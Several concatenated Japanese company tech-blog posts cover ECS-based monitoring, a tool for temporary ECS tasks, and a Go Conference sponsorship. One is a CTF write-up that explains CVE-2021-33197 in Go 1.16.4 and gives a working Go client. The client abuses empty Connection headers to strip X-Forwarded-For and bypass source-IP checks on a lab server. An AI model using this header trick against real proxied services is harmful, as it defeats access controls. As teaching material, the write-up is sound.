# cf. https://docs.datadoghq.com/ja/network_performance_monitoring/devices/setup/?tab=snmpv2
init_config:
  loader: core
  use_device_id_as_hostname: true
instances:
{{ range $_, $ip_address := var "IP_ADDRESSES" | split "," }}
- ip_address: "{{ $ip_address }}"
  community_string: "{{ var "COMMUNITY_STRING" }}"
{{ end }}

Datadog Agentで収集された情報はDatadogに送られます。

f:id:winebarrel:20220130141331p:plain

SNMPトラップはDatadog Logsに送られます。

f:id:winebarrel:20220130141837p:plain

RsyslogによるSyslogの受信とDatadogへの送信

ネットワーク機器からのSyslogの受信にはRsyslogのコンテナを使用しています。

Datadog Agentと同じNLBを使ったECSサービス上でコンテナを起動し、受信したSyslogはDadadog Logsへと送られます。*2

Dockefile

FROM    ubuntu:20.04

# (中略)

COPY rsyslog.conf.tmpl /etc/
COPY datadog.conf.tmpl /etc/rsyslog.d/

ENTRYPOINT [ \
  "render",\
  "/etc/rsyslog.d/datadog.conf", \
  "--", \
  "render",\
  "/etc/rsyslog.conf", \
  "--", \
  "rsyslogd", "-n" \
  ]

rsyslog.conf

module(load="imuxsock")
module(load="immark" interval="20")

module(load="imudp")
input(type="imudp" port="{{ var "RSYSLOG_PORT" | default 514 }}")

module(load="imtcp")
input(type="imtcp" port="514")

module(load="omstdout")

$WorkDirectory /var/spool/rsyslog
$IncludeConfig /etc/rsyslog.d/*.conf
$AbortOnUncleanConfig on
$DefaultNetstreamDriverCAFile /etc/ssl/certs/ca-certificates.crt

action(type="omstdout")

datadog.conf

## Set the Datadog Format to send the logs
$template DatadogFormat,"{{ var "DD_API_KEY" }} <%pri%>%protocol-version% %timestamp:::date-rfc3339% %HOSTNAME% %app-name% - - [metas ddsource=\"rsyslog\" ddtags=\"env:prd\"] %msg%\n"

action(
  type="omfwd"
  protocol="tcp"
  target="intake.logs.datadoghq.com"
  port="10516" template="DatadogFormat"
  StreamDriver="gtls"
  StreamDriverMode="1"
  StreamDriverAuthMode="x509/name"
  StreamDriverPermittedPeers="*.logs.datadoghq.com"
  action.resumeRetryCount="10"
  action.reportSuspension="on"
)

Datadog Logsに送られたSyslogはコンソールから見ることができます。

f:id:winebarrel:20220130143356p:plain

Amazon Time Sync ServiceによるNTPサービス

ネットワーク機器はNTPサーバとしてAWS上のサーバを参照しています。

ntpdのコンテナを作成してもよかったのですがAWSAmazon Time Sync Serviceを提供しているので、stoneを使ってNTPをAmazon Time Sync Serviceに中継するようにしました。

Dockerfile

FROM debian:bullseye AS build

ARG STONE_VERSION=2.4

RUN apt-get update && \
  apt-get install -y curl build-essential

RUN curl -sSfLO https://www.gcd.org/sengoku/stone/stone-${STONE_VERSION}.tar.gz && \
  tar xf stone-${STONE_VERSION}.tar.gz --strip-components 1 && \
  make linux

FROM debian:bullseye-slim

COPY --from=build stone /usr/local/bin/

ENTRYPOINT ["/usr/local/bin/stone"]

タスク定義の一部

      command: [
        // NTP
        // cf. https://aws.amazon.com/jp/blogs/news/keeping-time-with-amazon-time-sync-service/
        '169.254.169.123:123/udp',
        '123/udp',
        '--',
        // HTTP (for healthcheck)
        '169.254.169.253:53',
        '80',
      ],

苦労した点

NLBのヘルスチェック

NLBでUDPを使っている場合でもヘルスチェックはTCPで行われます。 そのため、各コンテナでTCPのヘルスチェックができるように工夫しました。

  • Datadog Agentはいくつかデーモンが立ち上がっているので、そのうちの一つでLISTENされているポートをヘルスチェックに利用しています
  • RsyslogはTCPでのSyslogの受信は行わないのですが、ヘルスチェックのためにinput(type="imtcp" port="514")の設定を追加しました
  • stoneはそれ自体がヘルスチェック機能を持っていないので、VPCDNSサーバにTCPパケットを中継してヘルスチェックとしています

DatadogとRsyslogの接続が切れる

ドキュメントにも書いてあるのですが、DatadogとRsyslogの接続は非アクティブな状態が続くと切断されて再接続ができません。

このためmodule(load="immark" interval="20")して定期的にログを流すようにしています。 また、切断されても気づけるようにログが一定時間流れなかったらアラートをあげるようにもしています。

ECSのデプロイ後にSyslogが受信できなくなる

ECSをデプロイすると一部のネットワーク機器からSyslogが受信できなくなるという問題もありました。 ネットワーク機器はNLBのIPアドレスを参照しているのですが、デプロイ完了後も古いコンテナのほうにSyslogが流れて続けてしまい、新しいコンテナにはSyslogが流れなくなるという状態になっていました。

詳しい原因を調査できていないのですが、NLBのTarget GroupでConnection termination on deregistrationを有効にすることで、この問題を解決できました。

f:id:winebarrel:20220130150057p:plain

まとめ

いままでは監視用のEC2インスタンスの運用が地味に手間だったのですが、コンテナ化によってだいぶ手間を軽減することができました。

また、Datadogを利用することでメトリクスやログの閲覧がとても楽になりました。

カンムでは引き続きEC2からECSの移行が進行中です。興味のあるインフラエンジニアを絶賛募集しております。

open.talentio.com

ECSで作業用のタスクをサクッと作るためのツールを作成した

インフラエンジニアの菅原です。

最近、バイクに念願のグリップヒーターをつけました。 これでツーリング時の手の寒さが多少楽になりそうで喜んでいます。

とはいってもなかなか出かけられないのですが…


現在私はAWS Fargateを使ったサービスをECS上に構築を進めており、日々コンテナと戯れています。

基本的にストレージ以外のコンポーネントはほとんどECSで動いているのですが、VPCのネットワーク内でちょっとした作業(たとえばネットワークの疎通確認など)をしたい場合、都度新しいタスクを起動して作業しています。 また、DBにテストデータを入れたかったり、どうしてもDBを直接操作したいことがある場合、stoneを新しいタスクを起動した上で、そのタスクを踏み台としてaws ssm start-sessionでポートフォワーディングを行い、手元から直接DBにアクセスできるようにしたりしています。

しかしそのような一時的なタスクの起動は

  1. タスク定義のディレクトリに移動する*1
  2. タスクを起動
  3. 起動したコンテナにECS Execでログイン、あるいはポートフォワーディングをする場合はaws ssm start-sessionを実行
  4. 作業後はタスクを停止

…と、なかなか手間がかかります。

imageを実行時にオーバーライドできないので、都度都度タスク定義をエディタで書き換えるのも面倒です。

アプリケーションを動かしているコンテナにECS Execでログインすることもできるのですが、稼働しているコンテナにログインしたくはないですし、そのコンテナにパッケージをインストールするのもさすがに憚られます。

かといって作業用・ポートフォワーディング用にEC2インスタンスを動かすのは、管理コストなどからやりたくはないです。

もっと簡単に作業したい、kubectl run/exec/port-forwardのようにサクッと作業用のコンテナを作りたい…

と考えてそれらをなんとかするツール、demitasを作成しました。

demitas

github.com

demitasはecspressoのラッパーで、ECSタスクの起動・ECS Exec・ポートフォワーディングを簡単にするツールです。

  • タスク定義を~/.demitas配下で一括管理する
  • 単一のコンテナの定義だけ書ける
  • すべての定義を実行時にオーバーライドできる

などの特徴があります。

使い方

まず~/.demitas配下に設定ファイルを作成します。

~/.demitas
├── ecs-container-def.jsonnet
├── ecs-service-def.jsonnet
├── ecs-task-def.jsonnet
└── ecspresso.yml

基本的にecspressoの設定と同じですがecs-task-def.jsonnetにcontainerDefinitionsがないです。 そのかわりecs-container-def.jsonnetに単一のコンテナの定義を書いています。

// ecs-service-def.jsonnet
{
  name: 'oneshot',
  cpu: 0,
  image: 'ubuntu',
  essential: true,
  logConfiguration: {
    logDriver: 'awslogs',
    options: {
      'awslogs-group': '/ecs/oneshot',
      'awslogs-region': 'ap-northeast-1',
      'awslogs-stream-prefix': 'ecs',
    },
  },
}

設定ファイルを作成したら、どのディレクトリにいてもdemitasコマンドでタスクを起動できます。

$ demitas -c '{image: "public.ecr.aws/runecast/busybox:1.33.1", command: [echo, test]}'
2021/10/30 16:52:45 hello/hello Running task
2021/10/30 16:52:45 hello/hello Registering a new task definition...
2021/10/30 16:52:46 hello/hello Task definition is registered busybox:46
2021/10/30 16:52:46 hello/hello Running task
2021/10/30 16:52:47 hello/hello Task ARN: arn:aws:ecs:ap-northeast-1:822997939312:task/hello/d51ca2de190548e2a2b8e8c9644cfab1
2021/10/30 16:52:47 hello/hello Waiting for run task...(it may take a while)
2021/10/30 16:52:47 hello/hello Watching container: busybox
2021/10/30 16:52:47 hello/hello logGroup: /ecs/busybox
2021/10/30 16:52:47 hello/hello logStream: ecs/busybox/d51ca2de190548e2a2b8e8c9644cfab1
..

すべての定義はdemitasのオプションでオーバーライド可能です。上記の例ではコンテナのイメージとコマンドをオーバーライドしています。

また、設定ファイルのディレクトリをさらに~/.demitas/db-subnet ~/.demitas/app-subnetなどと分けることで、実行時にプロファイルを指定してタスクを起動できます。

~% demitas -p db-subnet -c '{command: [psql, -c, "SELECT * FROM foo"]}'

demitas-exec・demitas-pf

demitasではさらに起動したコンテナにログインしたり、ポートフォワーディングを簡易化するためのラッパーを作成しました。

demitas-execはタスクの起動・ECS Exec・タスクの停止を行います。

$ demitas-exec -e bash
Start ECS task...
ECS task is running: 8fba2576ba3841e7aff88f4ecfb7b32b

The Session Manager plugin was installed successfully. Use the AWS CLI to start a session.


Starting session with SessionId: ecs-execute-command-05d903fcaef0393ed
root@ip-10-0-0-18:/# echo test
test
root@ip-10-0-0-18:/# exit
exit


Exiting session with sessionId: ecs-execute-command-05d903fcaef0393ed.

Stopping ECS task... (Please wait for a while): 8fba2576ba3841e7aff88f4ecfb7b32b
done

demitas-pfはタスクの起動・ポートフォワーディング・タスクの停止を行います。

$ demitas-pf -h www.yahoo.com -r 80 -l 10080
Start ECS task for port forwarding...
ECS task is running: c16548617cab480e8fb37f195a8be708
Start port forwarding...

Starting session with SessionId: root-084c5c16763c0f36f
Port 10080 opened for sessionId root-084c5c16763c0f36f.
Waiting for connections...

Connection accepted for session [root-084c5c16763c0f36f]
^CTerminate signal received, exiting.


Exiting session with sessionId: root-084c5c16763c0f36f.

Stopping ECS task... (Please wait for a while): c16548617cab480e8fb37f195a8be708
done
$ curl -s localhost:10080 | grep title
    <title>Yahoo</title>

まとめ

kubectl run、欲しいなぁ、欲しいなぁ」とずーっと思っていたのですが、demitasでだいぶ解消されました。 いまはdocker runぐらいの感覚で作業用タスクの起動しています。

*1:ecspressoを使っています

Go Conference 2021 Autumn CTF: Go 1.16.4 に含まれる脆弱性を突いてリバースプロキシを突破する

エンジニアの佐野です。Go Conference 2021 Autumn にて Kanmu はスポンサー枠をいただき、オフィスアワーの催しで Go x セキュリティというコンセプトの CTF のような問題を用意させていただきました。

問題はこちら "Go" beyond your proxy になります。

github.com

f:id:kanmu-tech:20211112223834p:plain The Go gopher was designed by Renee French.

当日解けなかった人やこのブログを読んで興味が沸いた人もチャレンジしてみてください。

問題を簡単に説明すると、 Go 1.16.4 で書かれたリバースプロキシの背後の HTTP サーバに flag.txt というファイルが置かれています。このファイルには簡単なアクセス制限が施されているのですが、それを突破してそのファイルの中身を参照して解答してください、というものになります。 Go 1.16.4 には CVE-2021-33197脆弱性が含まれていて Go の issue にも上がっています(次のバージョンである 1.16.5 で Fix されています)。この脆弱性を利用してアクセス制限を突破するというのが想定解法になります。

※ 蛇足になりますがこのようにアプリケーションレイヤーにて送信元IPでアクセスコントロールすることはおすすめしません

本記事では出題の意図、問題の解説と解き方、問題を作るときに考えていたことを書きます。

  • 出題の意図
  • 問題の解説と想定解法
  • 問題を作るときに考えていたこと
  • 小ネタ
  • おわりに

1. 出題の意図

出題の意図としては Go に潜むセキュリティ issue を知ってもらい、実際にその脆弱性を突いたハックを体験してもらうことになります。

この問題を通して、

  • Go 本体にセキュリティ issue が潜んでいることを知る
  • Go の標準ライブラリを読む

という経験を積んでもらえていたら幸いです。

1.1 Go 本体に潜むセキュリティ issue

Go 本体にもセキュリティ関連の issue は報告されていて随時その修正がされています。試しに Go のコミットログから "CVE" という文字列を検索してみます。

git log -i --grep 'cve' --oneline
61536ec030 debug/macho: fail on invalid dynamic symbol table command
77f2750f43 misc/wasm, cmd/link: do not let command line args overwrite global data
5abfd2379b [dev.fuzz] all: merge master (65f0d24) into dev.fuzz
bacbc33439 archive/zip: prevent preallocation check from overflowing
b7a85e0003 net/http/httputil: close incoming ReverseProxy request body
a98589711d crypto/tls: test key type when casting
aa4da4f189 [dev.cmdgo] all: merge master (912f075) into dev.cmdgo
ad7e5b219e [dev.typeparams] all: merge master (4711bf3) into dev.typeparams
f9d50953b9 net: fix failure of TestCVE202133195
0e39cdc0e9 [dev.typeparams] all: merge master (8212707) into dev.typeparams
106851ad73 [dev.fuzz] all: merge master (dd7ba3b) into dev.fuzz
dd7ba3ba2c net: don't rely on system hosts in TestCVE202133195
cdcd02842d net: verify results from Lookup* are valid domain names
950fa11c4c net/http/httputil: always remove hop-by-hop headers
74242baa41 archive/zip: only preallocate File slice if reasonably sized
c89f1224a5 net: verify results from Lookup* are valid domain names
a9cfd55e2b encoding/xml: replace comments inside directives with a space
4d014e7231 encoding/xml: handle leading, trailing, or double colons in names
d0b79e3513 encoding/xml: prevent infinite loop while decoding
cd3b4ca9f2 archive/zip: fix panic in Reader.Open
953d1feca9 all: introduce and use internal/execabs
46e2e2e9d9 cmd/go: pass resolved CC, GCCGO to cgo
d95ca91380 crypto/elliptic: fix P-224 field reduction
dea6d94a44 math/big: add test for recursive division panic
062e0e5ce6 cmd/go, cmd/cgo: don't let bogus symbol set cgo_ldflag
1e1fa5903b math/big: fix shift for recursive division
64fb6ae95f runtime: stop preemption during syscall.Exec on Darwin
4f5cd0c033 net/http/cgi,net/http/fcgi: add Content-Type detection
027d7241ce encoding/binary: read at most MaxVarintLen64 bytes in ReadUvarint
fa98f46741 net/http: synchronize "100 Continue" write and Handler writes
82175e699a crypto/x509: respect VerifyOptions.KeyUsages on Windows
b13ce14c4a src/go.mod: import x/crypto/cryptobyte security fix for 32-bit archs
953bc8f391 crypto/x509: mitigate CVE-2020-0601 verification bypass on Windows
552987fdbf crypto/dsa: prevent bad public keys from causing panic
41b1f88efa net/textproto: don't normalize headers with spaces before the colon
145e193131 net/http: update bundled golang.org/x/net/http2 to import security fix
61bb56ad63 net/url: make Hostname and Port predictable for invalid Host values
12279faa72 os: pass correct environment when creating Windows processes
9b6e9f0c8c runtime: safely load DLLs
193c16a364 crypto/elliptic: reduce subtraction term to prevent long busy loop
1102616c77 cmd/go: fix command injection in VCS path
1dcb5836ad cmd/go: accept only limited compiler and linker flags in #cgo directives
2d1bd1fe9d syscall: fix Exec on solaris
91139b87f7 runtime, syscall: workaround for bug in Linux's execve
8d1d9292ff syscall: document that Exec wraps execve(2)
cad4e97af8 [release-branch.go1.7] net/http, net/http/cgi: fix for CGI + HTTP_PROXY security issue
b97df54c31 net/http, net/http/cgi: fix for CGI + HTTP_PROXY security issue
84cfba17c2 runtime: don't always unblock all signals
eeb8d00c86 syscall: work around FreeBSD execve kernel bug

本問題の修正コミットである 950fa11c4c net/http/httputil: always remove hop-by-hop headers に加えて他の修正も多くヒットします。

ちなみにちょうど先日 Go 1.17.3, 1.16.10 がリリースされましたがこれらにもセキュリティ Fix が含まれていました。

セキュリティ関連のバグというと言語そのものよりもその言語を利用して実装されたウェブサーバやデータベースなどのミドルウェア、OS、その他ソフトウェアなどに注目しがちですが、言語自体にもセキュリティの問題は潜んでいることがあります。

私が書いた問題のコード自体にもバグはなかった(はず)です。しかしバグは Go の標準ライブラリの方に含まれている、というのがこの問題を解くポイントです。

1.2 Go の標準ライブラリを読む

issue とその修正 PR を見てみます。本問題の肝となっている issue とそれに対応する PR が下記なのですが、これらが問題を解くための最大のヒントになります。

github.com

github.com

詳しい解説は次の「問題の解説と想定解法」でしますが、この issue と修正コミットおよびそのテストコードから、

  • そもそも Connection ヘッダの仕様として、任意のヘッダ名を値に入れるとそのヘッダを消すことができる
  • 同じく Connection ヘッダの仕様として、Connection ヘッダは Proxy を経由する際にはそれ自体が削除される
  • しかし Go 1.16.4 では空の Connection ヘッダをリバースプロキシに送りつけるとそのまま背後のサーバに到達させることができる
  • Abusing HTTP hop-by-hop request headers という攻撃手法がある
  • 脆弱性を利用すると X-Forwarded-For を消すことができそうだ

といったことを読み取ることができます。本問題を解くためには Go の net/http/httputil パッケージとそのテストコードを少し読む必要があります。

2. 問題の解説と想定解法

私が想定した解答へのルートは次の流れの通りです。

  • サーバにリクエストを投げつつ問題のソースを読んでみる
  • Go のバージョンを特定する(気づく)
  • Go のバージョンに潜む脆弱性を確認して issue にたどり着く
  • issue の修正 PR や issue に貼られた Abusing hop by hop header を調べる
  • 空の Connection ヘッダとともに Connection: X-Forwarded-For を送りつける

「3. 問題を作るときに考えていたこと」で書きますが、挑戦者にいかにバージョンに目を付けてもらいどのように issue に誘導するか?というのが作問中の悩みでした。ヒントでいきなり issue を教えると簡単すぎる、しかし issue にたどり着けないと明後日の方向のアプローチをしてしまう。最初のヒントで Go 1.16.4 を強調したのはこのためです。

2.1 サーバにリクエストを投げつつ問題のソースを読んでみる

docker run でサーバを起動したら単純に 8000 番ポートにリクエストを投げてみます。以下のようなトレースが出力されます。

========================================================
Welcome to Kanmu Office hour @ Go Conference 2021 Autumn
"Go" beyond your proxy! Go version: go1.16.4
---------------- Front Proxy ----------------
GET /flag.txt HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1

--- Front Proxy が受信した RemoteAddr ---
RemoteAddr: 172.17.0.1:58588

---------------- Middle Proxy ----------------
GET /flag.txt HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1
X-Forwarded-For: 172.17.0.1

--- Middle Proxy が受信した RemoteAddr ---
RemoteAddr: 127.0.0.1:38448

---------------- Backend Server ------------------
GET /flag.txt HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1
X-Forwarded-For: 172.17.0.1, 127.0.0.1

--- Backend Server が受信した RemoteAddr ---
RemoteAddr: 127.0.0.1:51188

--- 最終的な X-Forwarded-For と送信元IP ---
X-Forwarded-For: 172.17.0.1, 127.0.0.1
Source IP: 172.17.0.1

残念!送信元IP が 127.0.0.1 になるようにリクエストを送ってください!(172.17.0.1 != 127.0.0.1)
==========================

トレースを見つつ、問題のソースを読んでみると backend に到達したときの Source IP が 127.0.0.1 であればフラグが取れるということがわかります。コードの解説と模式図はヒントに書いた通りです。

人によっては送信元IPを変更してリクエストを送信してみたり、X-Forwarded-For を送りつけてみたりしたかもしれませんが、問題のコード自体にはおそらくバグはないはずです。

2.2 Go のバージョンを特定する(気づく)

1.16.4 を使っていることに気づいてもらいます。docker run 実行時、ヒント、go.mod の中身などバージョンを知ることができる箇所はいくつかあります。

2.3 Go のバージョンに潜む脆弱性を確認して issue にたどり着く

こちらについては検索します。Go 1.16.4 について Google 検索, issue の探索, Goのリリースノートを調べるなどなんでも良いです。「検索かよ...」と思う人もいるかもしれませんが、使われているソフトウェアのバージョンを調べてそれに関する既知の問題を調べるのはオフェンシブセキュリティという文脈では正攻法の一つになります。

2.4 issue の修正 PR や issue に貼られた Abusing hop by hop header を調べる

Go 1.16.4 やリバースプロキシについて調べていると issue にたどり着くことができます。たどり着けずにヒントが出たことで辿れた人もいるかもしれません。たどり着いたら issue を読みます。

github.com

issue を見るとまず Connection ヘッダの説明が書かれています。プロキシによって Connection ヘッダは削除されること。また Connection ヘッダに値としてセットされているヘッダも同様に削除されること。そしてこの issue によると X-Forwarded-For のようなヘッダをドロップできるかもしれないと示唆するとともに、Abusing HTTP hop-by-hop request headers というタイトルの記事のリンクが貼られています。

そしてこの issue から辿れる PR にはこの issue の修正コミットとそのテストコードが追加されています。

github.com

テストコードを読んでみると frontend と backend 2つの HTTP サーバを起動しています。frontend は NewSingleHostReverseProxy を使ってバックエンドにリクエストを転送するような構成になっています。本問題では front, middle, backend の多段構成ですが、これと非常に似ています。

テストコードは何を確認しているでしょうか?テストするにあたり、空の値を持つ Connection ヘッダを送信していること、Connection ヘッダの値として X-Some-Conn-Header をセットして送信していることがわかります。そして Connection ヘッダとその値は backend では削除されることを確認しています。

そして当の標準ライブラリの修正はどうでしょうか?以下のあたりが消されていますね。

   for _, h := range hopHeaders {
        hv := outreq.Header.Get(h)
        if hv == "" {
            continue
        }
        if h == "Te" && hv == "trailers" {
            // Issue 21096: tell backend applications that
            // care about trailer support that we support
            // trailers. (We do, but we don't go out of
            // our way to advertise that unless the
            // incoming client request thought it was
            // worth mentioning)
            continue
        }
        outreq.Header.Del(h)
    }

これは hopHeaders (Connectionヘッダなど hop-by-hop header 一式が定義されている)の値を取得して削除するが、その値が空だったら削除しない、という処理をしています。つまり本来であれば Connection ヘッダは転送する際には削除するべきなのですが、空の値が含まれていたらそれは削除せずにそのまま転送するという処理になっていたようです。

2.5 空の Connection ヘッダとともに Connection: X-Forwarded-For を送りつける

ここまでで、

  • [仕様] Connection ヘッダはその値に含まれているヘッダを消す
  • [バグ] 普通は裏側には Connection ヘッダ自体を転送しないが、空の値を持たせると削除されずに転送してしまう

ということがわかりました。ということで以下のようなコードで空の Connection ヘッダと、 Connection: X-Forwarded-For を送ってみましょう。

package main

import (
        "bytes"
        "fmt"
        "io"
        "log"
        "net/http"
)

func main() {
        req, err := http.NewRequest("GET", "http://localhost:8000/flag.txt", nil)
        if err != nil {
                log.Fatal(err)
        }
        req.Header.Add("Connection", "")
        req.Header.Add("Connection", "X-Forwarded-For")

        client := &http.Client{}
        resp, err := client.Do(req)
        if err != nil {
                log.Fatal(err)
        }
        defer resp.Body.Close()

        bb := &bytes.Buffer{}
        io.Copy(bb, resp.Body)
        fmt.Println(bb.String())
}

あっさりフラグが取れました。Connection ヘッダが裏側まで届き、Connection: X-Forwarded-For が設定されていることで X-Forwarded-For が削除されました。

フラグはこのURLですね。本記事の冒頭の Gopher くんと正解のメッセージが現れます。

https://gocon2021autumn-ctf-flag.net/

3. 問題を作るときに考えていたこと

ここから先は裏話になります。このような問題を考えることは初めてだったのでいろいろ考えをする必要がありました。その際に考えていたことを書いてみます。要約すると次のようなことを考えながら問題および当日のヒントを考えました。

  • CTF といっても Go を中心にした問題にすること
  • 前回よりも少し難易度を高めること
  • 最終的に全員が解ける問題にすること
  • いかに Go 1.16.4 の issue に誘導するか

3.1 CTFといっても Go を中心にした問題にすること

Go Conference ということもあり基本的には Go の問題であるべきです。しかしながらそこにセキュリティを絡めた CTF のような問題を作れるだろうか?と悩みました。

先ほど、ソフトウェアのバージョンから既知の脆弱性を調べるのはセキュリティの攻撃の世界では正攻法であると書きました。なんか良いバグないかな?と Go のコミットログを眺めていたら割と最近でしかも扱いやすいリバースプロキシの修正コミットがありました。

この問題を作ることができたのはちょうど良い issue があったということに尽きます。他にもいくつか問題を考えたのですが、どうしても Go というよりは Linux のテクニックの問題になってしまったりしてちょうどいい問題を作るのにいくらか難儀しました。

3.2 前回よりも少し難易度を高めること

カンムは前回の Go Conference 2021 Spring でも CTF 様式の問題を出題しております。以下が前回の問題の解説記事なのですが、

tech.kanmu.co.jp

次回機会があれば strings だけでは倒せない歯ごたえがある問題も用意しようと思うので、今回興味を持ってもらえた方はぜひ CTF に入門して倒せるように鍛えてきてください!

と書き残していました。ということで今回は少し骨のある問題を用意しようと思って問題を作成しました。 Go のソースは読める+HTTPの知識がある程度ある人というレベル感にしましたが、HTTP と題材であるリバースプロキシの知識については知らない人であっても挑戦しやすいようにヒントに説明を書きました。あの説明で伝わっていれば幸いです。

3.3 最終的に全員が解ける問題にすること

本丸は登壇者のトークなのでそれを邪魔しない程度の分量、難易度にすべきと考えました。「ほーら、解けねーだろ(笑)」という問題ではなく、こちらがヒントを出して解答に誘導しつつも最終的には全員が解ける問題になるように作問しました。 重要なのは本問題を通して Go のセキュリティに関心を持ってもらうことと、Go の標準ライブラリのコードや issue を読むという体験をしてもらうことです。

3.4 いかに Go 1.16.4 の issue に誘導するか

作問中、そして本番での運営では、挑戦者にいかにバージョンに目を付けてもらいどのように issue に誘導するか?に頭を悩ませました。プロトタイプを CTO に解いてもらってのですが、最初にもらったフィードバックは、

  • 脆弱性を調べるという発想がないと明後日の方向のアプローチをしてしまいそう
  • ふつうの人は脆弱性を自主的に探しにいかなそう -とりあえず Go のソース読むかということで自分は進めたけど、まず初心者の人にはそこでとまってしまいそう
  • そもそも HTTP ヘッダーの仕組みを理解してるか、知っていたとして細工した HTTP リクエスト投げれるか
  • Issue とか全部英語なのでそこにもハードルがありそう

などでした。

当日の運営では開始直後にいきなりヒントを出し、そこでバージョンと脆弱性の存在を匂わせる形にしました。そこからタイムラインなどの様子を見て次のヒントを考えて誘導していこう、と話をしていました。

4. 小ネタ

4.1 コミットID

3319700 になっているのですがこれは CVE-2021-33197 に合わせました。

f:id:kanmu-tech:20211113131822p:plain

こちらのツールを使うことでコミットIDを好きなものに変更できます。

github.com

4.2 正解のページの Gopher くんは何?

わたしの手書きです。わたしがハッカーっぽい Gopher くんを書いて CTO がそれに魂を吹き込んでくれて本記事の冒頭にも載っている闇の底から覗く Gopher くんができあがりました。

f:id:kanmu-tech:20211113132835p:plain The Go gopher was designed by Renee French.

5. おわりに

Twitter などを見ると今回も多くの方に解いていただけました。作問担当としては感無量です!ありがとうございます!

そしてお約束の宣伝をさせてください。カンムでは Go やセキュリティに関心のあるエンジニア、もちろんそれ以外の職種も募集しております! kanmu.co.jp

GoCon の運営の皆様、参加してくださった皆様ありがとうございました!

おわり

カンムは Go Conference 2021 Autumn にスポンサーとして参加します #GoConference #gocon

こんにちは!カンムで採用担当をやっている @ayapoyo と申します(テックブログ初参戦です!)

11月13日は Go Conference 2021 Autumn の開催日ですね! 今回もたくさんの gopher とお話できることを楽しみにしております。

gocon.jp

シルバースポンサーやります ʕ◔ϖ◔ʔ

4月に開催された Go Conference 2021 Spring に引き続き、今回もスポンサーとして Go Conference に参加させていただきます!

カンムが展開する "バンドルカード" そして新規事業の "Pool" のバックエンドは Go メインで開発しており、このイベントを通して Go コミュニティの発展に寄与できればと思っています 💳

kanmu.co.jp

COO がセッションに登壇します ʕ◔ϖ◔ʔ

今回の GoCon では、カンム COO の @_achiku が登壇します! 13:50 から Track A に登場しますので、みなさんぜひご覧ください!

gocon.jp

オフィスアワーで CTF を開催します ʕ◔ϖ◔ʔ

今回の GoCon も完全リモート開催!Remo で開催される オフィスアワー にてブースを出展させていただきます!

そして前回の GoCon で好評いただいた CTF 、今回も実施します!

Goで書かれたHTTPサーバのバグを見つけて秘密のファイルにアクセスしよう!

Goを読めてHTTPはちょっとわかるぞという人に向けて。問題は当日公開予定、ブースやTwitterで随時ヒントの発表や解説などを行います!

前回の問題と解説は こちら に掲載しています!GoCon 当日までに復習しておくのはいかがでしょうか?

このほかにも

  • カンムやバンドルカードについて聞いてみたい!
  • 登壇していたメンバーと話してみたい!
  • Go についてわいわい話したい!

などなども大歓迎です!Remo のブースに気軽に遊びに来てみてくださいね!

参加登録は connpass から ʕ◔ϖ◔ʔ

gocon.connpass.com

gopher のみなさんとお会いできることを楽しみにしております👋